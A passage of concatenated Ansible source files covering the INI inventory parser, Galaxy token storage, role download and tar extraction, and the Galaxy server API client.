        return self._get_ancestors().values()

    def set_priority(self, priority):
        try:
            self.priority = int(priority)
        except TypeError:
            #FIXME: warn about invalid priority
            pass







# Copyright 2015 Abhijit Menon-Sen <ams@2ndQuadrant.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

#############################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import ast
import re

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.inventory.host import Host
from ansible.inventory.group import Group
from ansible.inventory.expand_hosts import detect_range
from ansible.inventory.expand_hosts import expand_hostname_range
from ansible.parsing.utils.addresses import parse_address
from ansible.utils.shlex import shlex_split
from ansible.utils.unicode import to_unicode

class InventoryParser(object):
    """
    Takes an INI-format inventory file and builds a list of groups and subgroups
    with their associated hosts and variable settings.
    """

    def __init__(self, loader, groups, filename=C.DEFAULT_HOST_LIST):
        self._loader = loader
        self.filename = filename

        # Start with an empty host list and whatever groups we're passed in
        # (which should include the default 'all' and 'ungrouped' groups).

        self.hosts = {}
        self.patterns = {}
        self.groups = groups

        # Read in the hosts, groups, and variables defined in the
        # inventory file.

        if loader:
            (data, private) = loader._get_file_contents(filename)
        else:
            with open(filename) as fh:
                data = to_unicode(fh.read())
        data = data.split('\n')

        self._parse(data)

    def _raise_error(self, message):
        raise AnsibleError("%s:%d: " % (self.filename, self.lineno) + message)

    def _parse(self, lines):
        '''
        Populates self.groups from the given array of lines. Raises an error on
        any parse failure.
        '''

        self._compile_patterns()

        # We behave as though the first line of the inventory is '[ungrouped]',
        # and begin to look for host definitions. We make a single pass through
        # each line of the inventory, building up self.groups and adding hosts,
        # subgroups, and setting variables as we go.

        pending_declarations = {}
        groupname = 'ungrouped'
        state = 'hosts'

        self.lineno = 0
        for line in lines:
            self.lineno += 1

            line = line.strip()

            # Skip empty lines and comments
            if line == '' or line.startswith(";") or line.startswith("#"):
                continue

            # Is this a [section] header? That tells us what group we're parsing
            # definitions for, and what kind of definitions to expect.

            m = self.patterns['section'].match(line)
            if m:
                (groupname, state) = m.groups()

                state = state or 'hosts'
                if state not in ['hosts', 'children', 'vars']:
                    title = ":".join(m.groups())
                    self._raise_error("Section [%s] has unknown type: %s" % (title, state))

                # If we haven't seen this group before, we add a new Group.
                #
                # Either [groupname] or [groupname:children] is sufficient to
                # declare a group, but [groupname:vars] is allowed only if the
                # group is declared elsewhere (not necessarily earlier). We add
                # the group anyway, but make a note in pending_declarations to
                # check at the end.

                if groupname not in self.groups:
                    self.groups[groupname] = Group(name=groupname)

                    if state == 'vars':
                        pending_declarations[groupname] = dict(line=self.lineno, state=state, name=groupname)

                # When we see a declaration that we've been waiting for, we can
                # delete the note.

                if groupname in pending_declarations and state != 'vars':
                    del pending_declarations[groupname]

                continue
            elif line.startswith('['):
                self._raise_error("Invalid section entry: '%s'. Please make sure that there are no spaces" % line + \
                                  "in the section entry, and that there are no other invalid characters")

            # It's not a section, so the current state tells us what kind of
            # definition it must be. The individual parsers will raise an
            # error if we feed them something they can't digest.

            # [groupname] contains host definitions that must be added to
            # the current group.
            if state == 'hosts':
                hosts = self._parse_host_definition(line)
                for h in hosts:
                    self.groups[groupname].add_host(h)

            # [groupname:vars] contains variable definitions that must be
            # applied to the current group.
            elif state == 'vars':
                (k, v) = self._parse_variable_definition(line)
                if k != 'ansible_group_priority':
                    self.groups[groupname].set_variable(k, v)
                else:
                    self.groups[groupname].set_priority(v)

            # [groupname:children] contains subgroup names that must be
            # added as children of the current group. The subgroup names
            # must themselves be declared as groups, but as before, they
            # may only be declared later.
            elif state == 'children':
                child = self._parse_group_name(line)

                if child not in self.groups:
                    self.groups[child] = Group(name=child)
                    pending_declarations[child] = dict(line=self.lineno, state=state, name=child, parent=groupname)

                self.groups[groupname].add_child_group(self.groups[child])

                # Note: there's no reason why we couldn't accept variable
                # definitions here, and set them on the named child group.

            # This is a fencepost. It can happen only if the state checker
            # accepts a state that isn't handled above.
            else:
                self._raise_error("Entered unhandled state: %s" % (state))

        # Any entries in pending_declarations not removed by a group declaration
        # above mean that there was an unresolved forward reference. We report
        # only the first such error here.

        for g in pending_declarations:
            decl = pending_declarations[g]
            if decl['state'] == 'vars':
                raise AnsibleError("%s:%d: Section [%s:vars] not valid for undefined group: %s" % (self.filename, decl['line'], decl['name'], decl['name']))
            elif decl['state'] == 'children':
                raise AnsibleError("%s:%d: Section [%s:children] includes undefined group: %s" % (self.filename, decl['line'], decl['parent'], decl['name']))

        # Finally, add all top-level groups as children of 'all'.
        # We exclude ungrouped here because it was already added as a child of
        # 'all' at the time it was created.

        for group in self.groups.values():
            if group.depth == 0 and group.name not in ('all', 'ungrouped'):
                self.groups['all'].add_child_group(group)


    def _parse_group_name(self, line):
        '''
        Takes a single line and tries to parse it as a group name. Returns the
        group name if successful, or raises an error.
        '''

        m = self.patterns['groupname'].match(line)
        if m:
            return m.group(1)

        self._raise_error("Expected group name, got: %s" % (line))

    def _parse_variable_definition(self, line):
        '''
        Takes a string and tries to parse it as a variable definition. Returns
        the key and value if successful, or raises an error.
        '''

        # TODO: We parse variable assignments as a key (anything to the left of
        # an '='"), an '=', and a value (anything left) and leave the value to
        # _parse_value to sort out. We should be more systematic here about
        # defining what is acceptable, how quotes work, and so on.

        if '=' in line:
            (k, v) = [e.strip() for e in line.split("=", 1)]
            return (k, self._parse_value(v))

        self._raise_error("Expected key=value, got: %s" % (line))

    def _parse_host_definition(self, line):
        '''
        Takes a single line and tries to parse it as a host definition. Returns
        a list of Hosts if successful, or raises an error.
        '''

        # A host definition comprises (1) a non-whitespace hostname or range,
        # optionally followed by (2) a series of key="some value" assignments.
        # We ignore any trailing whitespace and/or comments. For example, here
        # are a series of host definitions in a group:
        #
        # [groupname]
        # alpha
        # beta:2345 user=admin      # we'll tell shlex
        # gamma sudo=True user=root # to ignore comments

        try:
            tokens = shlex_split(line, comments=True)
        except ValueError as e:
            self._raise_error("Error parsing host definition '%s': %s" % (line, e))

        (hostnames, port) = self._expand_hostpattern(tokens[0])
        hosts = self._Hosts(hostnames, port)

        # Try to process anything remaining as a series of key=value pairs.

        variables = {}
        for t in tokens[1:]:
            if '=' not in t:
                self._raise_error("Expected key=value host variable assignment, got: %s" % (t))
            (k, v) = t.split('=', 1)
            variables[k] = self._parse_value(v)

        # Apply any variable settings found to every host.

        for h in hosts:
            for k in variables:
                h.set_variable(k, variables[k])
                if k in ['ansible_host', 'ansible_ssh_host']:
                    h.address = variables[k]

        return hosts

    def _expand_hostpattern(self, hostpattern):
        '''
        Takes a single host pattern and returns a list of hostnames and an
        optional port number that applies to all of them.
        '''

        # Can the given hostpattern be parsed as a host with an optional port
        # specification?

        try:
            (pattern, port) = parse_address(hostpattern, allow_ranges=True)
        except:
            # not a recognizable host pattern
            pattern = hostpattern
            port = None

        # Once we have separated the pattern, we expand it into list of one or
        # more hostnames, depending on whether it contains any [x:y] ranges.

        if detect_range(pattern):
            hostnames = expand_hostname_range(pattern)
        else:
            hostnames = [pattern]

        return (hostnames, port)

    def _Hosts(self, hostnames, port):
        '''
        Takes a list of hostnames and a port (which may be None) and returns a
        list of Hosts (without recreating anything in self.hosts).
        '''

        hosts = []

        # Note that we decide whether or not to create a Host based solely on
        # the (non-)existence of its hostname in self.hosts. This means that one
        # cannot add both "foo:22" and "foo:23" to the inventory.

        for hn in hostnames:
            if hn not in self.hosts:
                self.hosts[hn] = Host(name=hn, port=port)
            hosts.append(self.hosts[hn])

        return hosts

    @staticmethod
    def _parse_value(v):
        '''
        Attempt to transform the string value from an ini file into a basic python object
        (int, dict, list, unicode string, etc).
        '''
        if "#" not in v:
            try:
                v = ast.literal_eval(v)
            # Using explicit exceptions.
            # Likely a string that literal_eval does not like. We wil then just set it.
            except ValueError:
                # For some reason this was thought to be malformed.
                pass
            except SyntaxError:
                # Is this a hash with an equals at the end?
                pass
        return to_unicode(v, nonstring='passthru', errors='strict')

    def get_host_variables(self, host):
        return {}

    def _compile_patterns(self):
        '''
        Compiles the regular expressions required to parse the inventory and
        stores them in self.patterns.
        '''

        # Section names are square-bracketed expressions at the beginning of a
        # line, comprising (1) a group name optionally followed by (2) a tag
        # that specifies the contents of the section. We ignore any trailing
        # whitespace and/or comments. For example:
        #
        # [groupname]
        # [somegroup:vars]
        # [naughty:children] # only get coal in their stockings

        self.patterns['section'] = re.compile(
            r'''^\[
                    ([^:\]\s]+)             # group name (see groupname below)
                    (?::(\w+))?             # optional : and tag name
                \]
                \s*                         # ignore trailing whitespace
                (?:\#.*)?                   # and/or a comment till the
                $                           # end of the line
            ''', re.X
        )

        # FIXME: What are the real restrictions on group names, or rather, what
        # should they be? At the moment, they must be non-empty sequences of non
        # whitespace characters excluding ':' and ']', but we should define more
        # precise rules in order to support better diagnostics.

        self.patterns['groupname'] = re.compile(
            r'''^
                ([^:\]\s]+)
                \s*                         # ignore trailing whitespace
                (?:\#.*)?                   # and/or a comment till the
                $                           # end of the line
            ''', re.X
        )






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2014, Serge van Ginderachter <serge@vanginderachter.be>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

class VarsModule(object):

    """
    Loads variables for groups and/or hosts
    """

    def __init__(self, inventory):

        """ constructor """

        self.inventory = inventory
        self.inventory_basedir = inventory.basedir()


    def run(self, host, vault_password=None):
        """ For backwards compatibility, when only vars per host were retrieved
            This method should return both host specific vars as well as vars
            calculated from groups it is a member of """
        return {}


    def get_host_vars(self, host, vault_password=None):
        """ Get host specific variables. """
        return {}


    def get_group_vars(self, group, vault_password=None):
        """ Get group specific variables. """
        return {}







# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







#!/usr/bin/env python

########################################################################
#
# (C) 2015, Chris Houseknecht <chouse@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
########################################################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import yaml
from stat import *

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class GalaxyToken(object):
    ''' Class to storing and retrieving token in ~/.ansible_galaxy '''

    def __init__(self):
        self.file = os.path.expanduser("~") + '/.ansible_galaxy'
        self.config = yaml.safe_load(self.__open_config_for_read())
        if not self.config:
            self.config = {}
        
    def __open_config_for_read(self):
        if os.path.isfile(self.file):
            display.vvv('Opened %s' % self.file)
            return open(self.file, 'r')
        # config.yml not found, create and chomd u+rw
        f = open(self.file,'w')
        f.close()
        os.chmod(self.file,S_IRUSR|S_IWUSR) # owner has +rw
        display.vvv('Created %s' % self.file) 
        return open(self.file, 'r')

    def set(self, token): 
        self.config['token'] = token
        self.save()
    
    def get(self):
        return self.config.get('token', None)
    
    def save(self):
        with open(self.file,'w') as f:
            yaml.safe_dump(self.config,f,default_flow_style=False)
        





########################################################################
#
# (C) 2015, Brian Coca <bcoca@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
########################################################################

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import datetime
import os
import tarfile
import tempfile
import yaml
from distutils.version import LooseVersion
from shutil import rmtree

import ansible.constants as C
from ansible.errors import AnsibleError
from ansible.module_utils.urls import open_url
from ansible.playbook.role.requirement import RoleRequirement
from ansible.galaxy.api import GalaxyAPI

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class GalaxyRole(object):

    SUPPORTED_SCMS = set(['git', 'hg'])
    META_MAIN = os.path.join('meta', 'main.yml')
    META_INSTALL = os.path.join('meta', '.galaxy_install_info')
    ROLE_DIRS = ('defaults','files','handlers','meta','tasks','templates','vars','tests')


    def __init__(self, galaxy, name, src=None, version=None, scm=None, path=None):

        self._metadata = None
        self._install_info = None
        self._validate_certs = not galaxy.options.ignore_certs

        display.debug('Validate TLS certificates: %s' % self._validate_certs)

        self.options = galaxy.options
        self.galaxy  = galaxy

        self.name = name
        self.version = version
        self.src = src or name
        self.scm = scm

        if path is not None:
            if self.name not in path:
                path = os.path.join(path, self.name)
            self.path = path
        else:
            for role_path_dir in galaxy.roles_paths:
                role_path = os.path.join(role_path_dir, self.name)
                if os.path.exists(role_path):
                    self.path = role_path
                    break
            else:
                # use the first path by default
                self.path = os.path.join(galaxy.roles_paths[0], self.name)

    def __eq__(self, other):
        return self.name == other.name

    @property
    def metadata(self):
        """
        Returns role metadata
        """
        if self._metadata is None:
            meta_path = os.path.join(self.path, self.META_MAIN)
            if os.path.isfile(meta_path):
                try:
                    f = open(meta_path, 'r')
                    self._metadata = yaml.safe_load(f)
                except:
                    display.vvvvv("Unable to load metadata for %s" % self.name)
                    return False
                finally:
                    f.close()

        return self._metadata


    @property
    def install_info(self):
        """
        Returns role install info
        """
        if self._install_info is None:

            info_path = os.path.join(self.path, self.META_INSTALL)
            if os.path.isfile(info_path):
                try:
                    f = open(info_path, 'r')
                    self._install_info = yaml.safe_load(f)
                except:
                    display.vvvvv("Unable to load Galaxy install info for %s" % self.name)
                    return False
                finally:
                    f.close()
        return self._install_info

    def _write_galaxy_install_info(self):
        """
        Writes a YAML-formatted file to the role's meta/ directory
        (named .galaxy_install_info) which contains some information
        we can use later for commands like 'list' and 'info'.
        """

        info = dict(
            version=self.version,
            install_date=datetime.datetime.utcnow().strftime("%c"),
        )
        info_path = os.path.join(self.path, self.META_INSTALL)
        with open(info_path, 'w+') as f:
            try:
                self._install_info = yaml.safe_dump(info, f)
            except:
                return False

        return True

    def remove(self):
        """
        Removes the specified role from the roles path.
        There is a sanity check to make sure there's a meta/main.yml file at this
        path so the user doesn't blow away random directories.
        """
        if self.metadata:
            try:
                rmtree(self.path)
                return True
            except:
                pass

        return False

    def fetch(self, role_data):
        """
        Downloads the archived role from github to a temp location
        """
        if role_data:

            # first grab the file and save it to a temp location
            if "github_user" in role_data and "github_repo" in role_data:
                archive_url = 'https://github.com/%s/%s/archive/%s.tar.gz' % (role_data["github_user"], role_data["github_repo"], self.version)
            else:
                archive_url = self.src

            display.display("- downloading role from %s" % archive_url)

            try:
                url_file = open_url(archive_url, validate_certs=self._validate_certs)
                temp_file = tempfile.NamedTemporaryFile(delete=False)
                data = url_file.read()
                while data:
                    temp_file.write(data)
                    data = url_file.read()
                temp_file.close()
                return temp_file.name
            except Exception as e:
                display.error("failed to download the file: %s" % str(e))

        return False

    def install(self):
        # the file is a tar, so open it that way and extract it
        # to the specified (or default) roles directory
        local_file = False

        if self.scm:
            # create tar file from scm url
            tmp_file = RoleRequirement.scm_archive_role(**self.spec)
        elif self.src:
            if  os.path.isfile(self.src):
                # installing a local tar.gz
                local_file = True
                tmp_file = self.src
            elif '://' in self.src:
                role_data = self.src
                tmp_file = self.fetch(role_data)
            else:
                api = GalaxyAPI(self.galaxy)
                role_data = api.lookup_role_by_name(self.src)
                if not role_data:
                    raise AnsibleError("- sorry, %s was not found on %s." % (self.src, api.api_server))

                role_versions = api.fetch_role_related('versions', role_data['id'])
                if not self.version:
                    # convert the version names to LooseVersion objects
                    # and sort them to get the latest version. If there
                    # are no versions in the list, we'll grab the head
                    # of the master branch
                    if len(role_versions) > 0:
                        loose_versions = [LooseVersion(a.get('name',None)) for a in role_versions]
                        loose_versions.sort()
                        self.version = str(loose_versions[-1])
                    elif role_data.get('github_branch', None):
                        self.version = role_data['github_branch']
                    else:
                        self.version = 'master' 
                elif self.version != 'master':
                    if role_versions and self.version not in [a.get('name', None) for a in role_versions]:
                        raise AnsibleError("- the specified version (%s) of %s was not found in the list of available versions (%s)." % (self.version, self.name, role_versions))

                tmp_file = self.fetch(role_data)

        else:
           raise AnsibleError("No valid role data found")


        if tmp_file:

            display.debug("installing from %s" % tmp_file)

            if not tarfile.is_tarfile(tmp_file):
                raise AnsibleError("the file downloaded was not a tar.gz")
            else:
                if tmp_file.endswith('.gz'):
                    role_tar_file = tarfile.open(tmp_file, "r:gz")
                else:
                    role_tar_file = tarfile.open(tmp_file, "r")
                # verify the role's meta file
                meta_file = None
                members = role_tar_file.getmembers()
                # next find the metadata file
                for member in members:
                    if self.META_MAIN in member.name:
                        meta_file = member
                        break
                if not meta_file:
                    raise AnsibleError("this role does not appear to have a meta/main.yml file.")
                else:
                    try:
                        self._metadata = yaml.safe_load(role_tar_file.extractfile(meta_file))
                    except:
                        raise AnsibleError("this role does not appear to have a valid meta/main.yml file.")

                # we strip off the top-level directory for all of the files contained within
                # the tar file here, since the default is 'github_repo-target', and change it
                # to the specified role's name
                display.display("- extracting %s to %s" % (self.name, self.path))
                try:
                    if os.path.exists(self.path):
                        if not os.path.isdir(self.path):
                            raise AnsibleError("the specified roles path exists and is not a directory.")
                        elif not getattr(self.options, "force", False):
                            raise AnsibleError("the specified role %s appears to already exist. Use --force to replace it." % self.name)
                        else:
                            # using --force, remove the old path
                            if not self.remove():
                                raise AnsibleError("%s doesn't appear to contain a role.\n  please remove this directory manually if you really want to put the role here." % self.path)
                    else:
                        os.makedirs(self.path)

                    # now we do the actual extraction to the path
                    for member in members:
                        # we only extract files, and remove any relative path
                        # bits that might be in the file for security purposes
                        # and drop the leading directory, as mentioned above
                        if member.isreg() or member.issym():
                            parts = member.name.split(os.sep)[1:]
                            final_parts = []
                            for part in parts:
                                if part != '..' and '~' not in part and '$' not in part:
                                    final_parts.append(part)
                            member.name = os.path.join(*final_parts)
                            role_tar_file.extract(member, self.path)

                    # write out the install info file for later use
                    self._write_galaxy_install_info()
                except OSError as e:
                   raise AnsibleError("Could not update files in %s: %s" % (self.path, str(e)))

                # return the parsed yaml metadata
                display.display("- %s was installed successfully" % self.name)
                if not local_file:
                    try:
                        os.unlink(tmp_file)
                    except (OSError,IOError) as e:
                        display.warning("Unable to remove tmp file (%s): %s" % (tmp_file, str(e)))
                return True

        return False

    @property
    def spec(self):
        """
        Returns role spec info
        {
           'scm': 'git',
           'src': 'http://git.example.com/repos/repo.git',
           'version': 'v1.0',
           'name': 'repo'
        }
        """
        return dict(scm=self.scm, src=self.src, version=self.version, name=self.name)






########################################################################
#
# (C) 2015, Brian Coca <bcoca@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
########################################################################
''' This manages remote shared Ansible objects, mainly roles'''

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.compat.six import string_types

from ansible.errors import AnsibleError

#      default_readme_template
#      default_meta_template


class Galaxy(object):
    ''' Keeps global galaxy info '''

    def __init__(self, options):

        self.options = options
        # self.options.roles_path needs to be a list and will be by default
        roles_path = getattr(self.options, 'roles_path', [])
        # cli option handling is responsible for making roles_path a list
        self.roles_paths = roles_path

        self.roles =  {}

        # load data path for resource usage
        this_dir, this_filename = os.path.split(__file__)
        self.DATA_PATH = os.path.join(this_dir, "data")

        self._default_readme = None
        self._default_meta = None
        self._default_test = None
        self._default_travis = None

    @property
    def default_readme(self):
        if self._default_readme is None:
            self._default_readme = self._str_from_data_file('readme')
        return self._default_readme

    @property
    def default_meta(self):
        if self._default_meta is None:
            self._default_meta = self._str_from_data_file('metadata_template.j2')
        return self._default_meta

    @property
    def default_test(self):
        if self._default_test is None:
            self._default_test = self._str_from_data_file('test_playbook.j2')
        return self._default_test

    @property
    def default_travis(self):
        if self._default_travis is None:
            self._default_travis = self._str_from_data_file('travis.j2')
        return self._default_travis

    def add_role(self, role):
        self.roles[role.name] = role

    def remove_role(self, role_name):
        del self.roles[role_name]

    def _str_from_data_file(self, filename):
        myfile = os.path.join(self.DATA_PATH, filename)
        try:
            return open(myfile).read()
        except Exception as e:
            raise AnsibleError("Could not open %s: %s" % (filename, str(e)))






#!/usr/bin/env python

########################################################################
#
# (C) 2013, James Cammarata <jcammarata@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
########################################################################

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json
import urllib

from urllib2 import quote as urlquote, HTTPError

import ansible.constants as C
from ansible.compat.six import string_types
from ansible.errors import AnsibleError
from ansible.module_utils.urls import open_url
from ansible.galaxy.token import GalaxyToken
from ansible.utils.unicode import to_str

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


def g_connect(method):
    ''' wrapper to lazily initialize connection info to galaxy '''
    def wrapped(self, *args, **kwargs):
        if not self.initialized:
            display.vvvv("Initial connection to galaxy_server: %s" % self._api_server)
            server_version = self._get_server_api_version()
            if server_version not in self.SUPPORTED_VERSIONS:
                raise AnsibleError("Unsupported Galaxy server API version: %s" % server_version)

            self.baseurl = '%s/api/%s' % (self._api_server, server_version)
            self.version = server_version  # for future use
            display.vvvv("Base API: %s" % self.baseurl)
            self.initialized = True
        return method(self, *args, **kwargs)
    return wrapped


class GalaxyAPI(object):
    ''' This class is meant to be used as a API client for an Ansible Galaxy server '''

    SUPPORTED_VERSIONS = ['v1']

    def __init__(self, galaxy):
        self.galaxy = galaxy
        self.token = GalaxyToken()
        self._api_server = C.GALAXY_SERVER
        self._validate_certs = not galaxy.options.ignore_certs
        self.baseurl = None
        self.version = None
        self.initialized = False

        display.debug('Validate TLS certificates: %s' % self._validate_certs)

        # set the API server
        if galaxy.options.api_server != C.GALAXY_SERVER:
            self._api_server = galaxy.options.api_server

    def __auth_header(self):
        token = self.token.get()
        if token is None:
            raise AnsibleError("No access token. You must first use login to authenticate and obtain an access token.")
        return {'Authorization': 'Token ' + token}

    @g_connect
    def __call_galaxy(self, url, args=None, headers=None, method=None):
        if args and not headers:
            headers = self.__auth_header()
        try:
            display.vvv(url)
            resp = open_url(url, data=args, validate_certs=self._validate_certs, headers=headers, method=method)
            data = json.load(resp)
        except HTTPError as e:
            res = json.load(e)
            raise AnsibleError(res['detail'])
        return data

    @property
    def api_server(self):
        return self._api_server

    @property
    def validate_certs(self):
        return self._validate_certs

    def _get_server_api_version(self):
        """
        Fetches the Galaxy API current version to ensure
        the API server is up and reachable.
        """
        url = '%s/api/' % self._api_server
        try:
            return_data = open_url(url, validate_certs=self._validate_certs)
        except Exception as e:
            raise AnsibleError("Failed to get data from the API server (%s): %s " % (url, to_str(e)))

        try:
            data = json.load(return_data)
        except Exception as e:
            raise AnsibleError("Could not process data from the API server (%s): %s " % (url, to_str(e)))

        if 'current_version' not in data:
            raise AnsibleError("missing required 'current_version' from server response (%s)" % url)

        return data['current_version']

    @g_connect
    def authenticate(self, github_token):
        """
        Retrieve an authentication token
        """
        url = '%s/tokens/' % self.baseurl
        args = urllib.urlencode({"github_token": github_token})
        resp = open_url(url, data=args, validate_certs=self._validate_certs, method="POST")
        data = json.load(resp)
        return data

    @g_connect
    def create_import_task(self, github_user, github_repo, reference=None):
        """
        Post an import request
        """
        url = '%s/imports/' % self.baseurl
        args = urllib.urlencode({
            "github_user": github_user,
            "github_repo": github_repo,
            "github_reference": reference if reference else ""
        })
        data = self.__call_galaxy(url, args=args)
        if data.get('results', None):
            return data['results']
        return data

    @g_connect
    def get_import_task(self, task_id=None, github_user=None, github_repo=None):
        """
        Check the status of an import task.
        """
        url = '%s/imports/' % self.baseurl
        if task_id is not None:
            url = "%s?id=%d" % (url,task_id)
        elif github_user is not None and github_repo is not None:
            url = "%s?github_user=%s&github_repo=%s" % (url,github_user,github_repo)
        else:
            raise AnsibleError("Expected task_id or github_user and github_repo")

        data = self.__call_galaxy(url)
        return data['results']

    @g_connect
    def lookup_role_by_name(self, role_name, notify=True):
        """
        Find a role by name.
        """
        role_name = urlquote(role_name)

        try:
            parts = role_name.split(".")
            user_name = ".".join(parts[0:-1])
            role_name = parts[-1]
            if notify:
                display.display("- downloading role '%s', owned by %s" % (role_name, user_name))
        except:
            raise AnsibleError("Invalid role name (%s). Specify role as format: username.rolename" % role_name)

        url = '%s/roles/?owner__username=%s&name=%s' % (self.baseurl, user_name, role_name)
        data = self.__call_galaxy(url)
        if len(data["results"]) != 0:
            return data["results"][0]
        return None

    @g_connect
    def fetch_role_related(self, related, role_id):
        """
        Fetch the list of related items for the given role.
        The url comes from the 'related' field of the role.
        """

        try:
            url = '%s/roles/%d/%s/?page_size=50' % (self.baseurl, int(role_id), related)
            data = self.__call_galaxy(url)
            results = data['results']
            done = (data.get('next_link', None) is None)
            while not done:
                url = '%s%s' % (self._api_server, data['next_link'])
                data = self.__call_galaxy(url)
                results += data['results']
                done = (data.get('next_link', None) is None)
            return results
        except:
            return None

    @g_connect
    def get_list(self, what):
        """
        Fetch the list of items specified.
        """
        try:
            url = '%s/%s/?page_size' % (self.baseurl, what)
            data = self.__call_galaxy(url)
            if "results" in data:
                results = data['results']
            else:
                results = data
            done = True
            if "next" in data:
                done = (data.get('next_link', None) is None)
            while not done:
                url = '%s%s' % (self._api_server, data['next_link'])
                data = self.__call_galaxy(url)
                results += data['results']
                done = (data.get('next_link', None) is None)
            return results
        except Exception as error:
            raise AnsibleError("Failed to download the %s list: %s" % (what, str(error)))

    @g_connect
    def search_roles(self, search, **kwargs):

        search_url = self.baseurl + '/search/roles/?'

        if search:
            search_url += '&autocomplete=' + urlquote(search)

        tags = kwargs.get('tags',None)
        platforms = kwargs.get('platforms', None)
        page_size = kwargs.get('page_size', None)
        author = kwargs.get('author', None)

        if tags and isinstance(tags, string_types):
            tags = tags.split(',')
            search_url += '&tags_autocomplete=' + '+'.join(tags)

        if platforms and isinstance(platforms, string_types):
            platforms = platforms.split(',')
            search_url += '&platforms_autocomplete=' + '+'.join(platforms)

        if page_size:
            search_url += '&page_size=%s' % page_size

        if author:
            search_url += '&username_autocomplete=%s' % author

        data = self.__call_galaxy(search_url)
        return data

    @g_connect
    def add_secret(self, source, github_user, github_repo, secret):
        url = "%s/notification_secrets/" % self.baseurl
        args = urllib.urlencode({
            "source": source,
            "github_user": github_user,
            "github_repo": github_repo,
            "secret": secret
        })
        data = self.__call_galaxy(url, args=args)
        return data

    @g_connect
    def list_secrets(self):
        url = "%s/notification_secrets" % self.baseurl
        data = self.__call_galaxy(url, headers=self.__auth_header())
        return data

    @g_connect
    def remove_secret(self, secret_id):
        url = "%s/notification_secrets/%s/" % (self.baseurl, secret_id)
        data = self.__call_galaxy(url, headers=self.__auth_header(), method='DELETE')
        return data

    @g_connect
    def delete_role(self, github_user, github_repo):
        url = "%s/removerole/?github_user=%s&github_repo=%s" % (self.baseurl,github_user,github_repo)
        data = self.__call_galaxy(url, headers=self.__auth_header(), method='DELETE')
        return data






#!/usr/bin/env python

########################################################################
#
# (C) 2015, Chris Houseknecht <chouse@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
########################################################################

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import getpass
import json
import urllib

from urllib2 import quote as urlquote, HTTPError
from urlparse import urlparse

from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.module_utils.urls import open_url
from ansible.utils.color import stringc

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()
